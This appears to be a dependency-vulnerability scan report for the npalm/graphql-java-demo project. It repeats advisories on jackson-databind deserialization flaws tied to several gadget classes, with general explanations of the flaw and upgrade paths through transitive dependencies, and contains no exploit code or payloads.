com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.8.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.docx4j.org.apache.xalan.lib.sql.JNDIConnectionPool.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.8.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to oadd.org.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDS.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.8.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDS.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.8.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.8.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.8.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-servlet@8.0.0 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@5.11.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-spring-boot-starter@5.10.0 com.graphql-java-kickstart:graphql-spring-boot-autoconfigure@5.10.0 org.springframework.boot:spring-boot-starter-actuator@2.1.6.RELEASE org.springframework.boot:spring-boot-actuator-autoconfigure@2.1.6.RELEASE com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-spring-boot-starter@6.0.0.

Overview

com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.

Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource.

Details

Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.

com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.

Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:

1. The target application allowing JSON user input which is processed by jackson-databind

An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.

2. Polymorphic type handling for properties with nominal type are enabled

Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.

3. An exploitable gadget class is available for the attacker to leverage

Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.

Further reading:

Remediation

Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10.8 or higher.

References

high severity

Deserialization of Untrusted Data

  • Vulnerable module: com.fasterxml.jackson.core:jackson-databind
  • Introduced through: com.fasterxml.jackson.core:jackson-databind@2.9.10.3, com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 and others

Detailed paths

  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.9.10.8.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.9.10 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.fasterxml.jackson.dataformat:jackson-dataformat-csv@2.10.0.
  • Introduced through: npalm/graphql-java-demo@npalm/graphql-java-demo#764c698c95e44c88f725e865f95272d54ca51c4a com.graphql-java-kickstart:graphql-java-tools@5.6.1 com.fasterxml.jackson.module:jackson-module-kotlin@2.9.9 com.fasterxml.jackson.core:jackson-databind@2.9.10.3
    Remediation: Upgrade to com.graphql-java-kickstart:graphql-java-tools@5.7.0.
